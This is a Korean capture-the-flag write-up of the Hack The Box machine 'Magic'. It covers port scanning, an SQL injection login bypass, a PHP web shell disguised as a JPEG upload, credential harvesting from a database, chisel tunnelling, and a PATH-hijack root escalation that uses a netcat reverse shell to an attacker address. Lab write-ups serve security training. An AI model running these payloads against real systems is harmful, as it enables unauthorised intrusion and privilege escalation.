NMAP - TCP PORTS
# Nmap 7.95 scan initiated Fri Aug 1 01:42:23 2025 as: /usr/lib/nmap/nmap -p- -sC -sV -Pn -n -T4 -oN tcpAllPorts 10.129.168.0
Nmap scan report for 10.129.168.0
Host is up (0.26s latency ).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux ; protocol 2.0 )
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
| _ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| _http-server-header: Apache/2.4.29 (Ubuntu)
| _http-title: Magic Portfolio
Service Info: OS: Linux ; CPE: cpe:/o:linux:linux_kernel
NMAP - UDP PORTS
68/udp dhcpc
631/udp ipp
5353/udp zeroconf
# Nmap 7.95 scan initiated Fri Aug 1 01:42:39 2025 as: /usr/lib/nmap/nmap -sU -sV -Pn -n --top-ports 100 -oN udpTop100Ports 10.129.168.0
Nmap scan report for 10.129.168.0
Host is up (0.27s latency ).
Not shown: 97 closed udp ports (port-unreach)
PORT STATE SERVICE VERSION
68/udp open | filtered dhcpc
631/udp open | filtered ipp
5353/udp open | filtered zeroconf
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug 1 01:46:23 2025 -- 1 IP address (1 host up) scanned in 224.29 seconds
VULNERABLILITY ASSESSMENT
80/tcp 포트에서 운영중인 웹 서비스의 로그인 페이지에서 SQLi 취약점이 존재했다.
username=admin'+or+1=1+#+&password=admin 구문을 통해 관리자(admin) 계정으로 접속에 성공했다.
POST /login.php HTTP/1.1
Host: 10.129.168.0
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://10.129.168.0
Connection: keep-alive
Referer: http://10.129.168.0/login.php
Cookie: PHPSESSID=rlbuo3gq1fo6kfi6k43303iuk5
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=admin'+or+1=1+#+&password=admin
admin 계정으로 로그인 성공 후 upload.php 페이지로 접근 가능했다.
서버 측에서 JPG, JPEG, PNG 확장자만 업로드가 가능하도록 설정되어 있었다.
파일 시그니처 검증 우회를 통해 악성 파일 업로드를 시도한다.
┌──(root㉿kali )-[/htb/magic/recon]
└─# echo 'FFD8FFDB' | xxd -p -r > ws.php.jpg
┌──(root㉿kali )-[/htb/magic/recon]
└─# echo '<?=`$_GET[0]`?>' >> ws.php.jpg
INITIAL ACCESS
Burp Suite Repeater 사용하여 리버스 쉘 연결 시도
접속은 성공하였으나, 플래그(user.txt)는 읽기 권한이 없어 확인하지 못하였다.
-r-------- 1 theseus theseus 33 Jul 31 18:39 user.txt
LATERAL MOVEMENT
로컬호스트에서 동작하는 데이터베이스 계정정보(theseus / iamkingtheseus) 획득
cat db.php5
<? php
class Database
{
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus' ;
private static $dbUserPassword = 'iamkingtheseus' ;
대상 호스트의 내부에서 3306 포트가 실행중임을 확인하였다.
www-data@magic:/var/www/Magic$ netstat -antp
netstat -antp
( Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all. )
Active Internet connections (servers and established )
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0: * LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0: * LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0: * LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0: * LISTEN -
tcp 0 299 10.129.168.0:54578 10.10.14.111:443 ESTABLISHED 2596/bash
tcp 0 1 10.129.168.0:37878 8.8.8.8:53 SYN_SENT -
tcp6 0 0 :::80 ::: * LISTEN -
tcp6 0 0 :::22 ::: * LISTEN -
tcp6 0 0 ::1:631 ::: * LISTEN -
tcp6 1 0 10.129.168.0:80 10.10.14.111:57536 CLOSE_WAIT -
REVERSE REMOTE PORT FORWARDING
# chisel server
┌──(root㉿kali )-[/home/kali/Desktop/chisel]
└─# ./chisel server -p 9001 --reverse
2025/08/01 10:47:49 server: Reverse tunnelling enabled
2025/08/01 10:47:49 server: Fingerprint MIa16J9bkCJyOhId8fcBotjCMmOxHgp5gJSPCIAHpnQ=
2025/08/01 10:47:49 server: Listening on http://0.0.0.0:9001
2025/08/01 10:48:41 server: session#1: tun: proxy#R:9000 = > 3306: Listening
# chisel client
www-data@magic:/tmp$ ./chisel client 10.10.14.111:9001 R:9000:127.0.0.1:3306
./chisel client 10.10.14.111:9001 R:9000:127.0.0.1:3306
2025/08/01 03:48:41 client: Connecting to ws://10.10.14.111:9001
2025/08/01 03:48:43 client: Connected (Latency 470.122502ms )
대상 호스트의 3306 포트에서 실행중인 MySQL 서버로 접속하여 magic.htb 도메인의 관리자 계정정보 획득
┌──(root㉿kali )-[/htb]
└─# mysql -P 9000 -u 'theseus' -p --skip-ssl-verify-server-cert
Enter password:
[ . . . ]
MySQL [(none)] > show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| Magic |
+--------------------+
[ . . . ]
MySQL [(none)] > use Magic;
[ . . . ]
MySQL [Magic] > show tables;
+-----------------+
| Tables_in_Magic |
+-----------------+
| login |
+-----------------+
[ . . . ]
MySQL [Magic] > select * from login;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | admin | Th3s3usW4sK1ng |
+----+----------+----------------+
1 row in set (0.304 sec )
대상 호스트의 MySQL 서버(3306)에 접근하여 admin / Th3s3usW4sK1ng 정보를 확인하였으며,
이 과정에서 획득한 패스워드(Th3s3usW4sK1ng)로 theseus 계정 접속이 가능하였다.
www-data@magic:/etc/mysql/mysql.conf.d$ su theseus
su theseus
su theseus
Password: Th3s3usW4sK1ng
Th3s3usW4sK1ng
theseus@magic:/etc/mysql/mysql.conf.d$
PRIVILEGE ESCALATION
SUID 비트가 활성화 된 바이너리 중 users 그룹에게 실행 권한이 있는 바이너리를 발견하였다.
theseus@magic:/bin$ find / -type f -perm -4000 2> /dev/null
[ . . . ]
/bin/sysinfo
[ . . . ]
theseus@magic:/bin$ ls -alh /bin | grep -i sysinfo
ls -alh /bin | grep -i sysinfo
ls -alh /bin | grep -i sysinfo
-rwsr-x--- 1 root users 22K Oct 21 2019 sysinfo
[ . . .]
strings /bin/sysinfo 실행하여 sysinfo 에서 실행되는 바이너리 정보 확인
Hardware Info =⇒ lshw -short
Disk Info =⇒ fdisk -l
CPU Info =⇒ cat /proc/cpuinfo
theseus@magic:/tmp$ strings /bin/sysinfo
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
theseus@magic:/tmp$ which lshw
which lshw
which lshw
/usr/bin/lshw
theseus@magic:/tmp$ which fdisk
which fdisk
which fdisk
/sbin/fdisk
theseus@magic:/tmp$ which cat
which cat
which cat
/bin/cat
시스템 기본 환경 변수(export) 설정 값을 확인하여 명령어가 실행되는 기본 PATH 확인
theseus@magic:/tmp$ export
[ . . .]
declare -x PATH = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"
/tmp 폴더에 악성 페이로드가 담긴 익스플로잇 바이너리 생성
theseus@magic:/tmp$ echo "/bin/busybox nc 10.10.14.111 9002 -e /bin/bash" > lshw
theseus@magic:/tmp$ chmod +x lshw
환경변수 PATH 값의 가장 맨 앞에 /tmp 경로를 추가한다.
특정 바이너리가 실행될 때, 바이너리 이름만 입력하면 PATH의 맨 앞 경로부터 순차적으로 순회하며 해당 경로에 동일한 바이너리 이름이 존재하면 실행하는 원리로 동작하기 때문에 악용이 가능하다.
theseus@magic:/tmp$ export PATH=/tmp: $PATH
theseus@magic:/tmp$ export
[ . . . ]
declare -x PATH = "/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"
[ . . . ]
┌──(root㉿kali )-[/home/kali/Desktop/tools]
└─# rlwrap nc -lvnp 9002
theseus@magic:/tmp$ /bin/sysinfo
변조된 바이너리(/bin/sysinfo) 실행 시 루트 계정으로 리버스 쉘이 연결된다.
이후 루트 계정으로 루트 플래그 확인에 성공했다. (/root/root.txt)
WALKTHROUGH
SUID 바이너리 확인 시 /bin/sysinfo 바이너리가 확인 (SUID 설정)
strings 바이너리로 /bin/sysinfo 바이너리 분석 (아래 3가지 바이너리 실행되고 있었음)
lshw -short, fdisk -l, cat /proc/cpuinfo
lshw, fdisk, cat 바이너리 중 악성 페이로드 삽입할 바이너리 1개 선택
리버스 쉘 코드가 담긴 악성 바이너리(나는 lshw 를 선택했다.)를 제작
환경변수 PATH의 맨 앞에 /tmp 경로를 추가하고 /tmp 경로에 악성 바이너리(lshw)를 추가
공격자 호스트에서 리버스 쉘 리스닝 포트 개방하고 타겟에서 /bin/sysinfo 바이너리 실행
/bin/sysinfo 실행 시 내부적으로 lshw -short 실행
lshw 바이너리는 환경변수(PATH) 설정에 의해 /tmp 폴더에 있는 /tmp/lshw 우선 실행
/tmp/lshw 바이너리 내 악성 페이로드(리버스쉘) 실행 → 공격자는 타겟 호스트의 쉘 획득 (최초에 /bin/sysinfo 가 root 권한으로 실행되기 때문에 /bin/sysinfo 내부에서 사용 및 실행되는 바이너리도 모두 루트 권한으로 실행되므로 root 쉘 획득 가능함)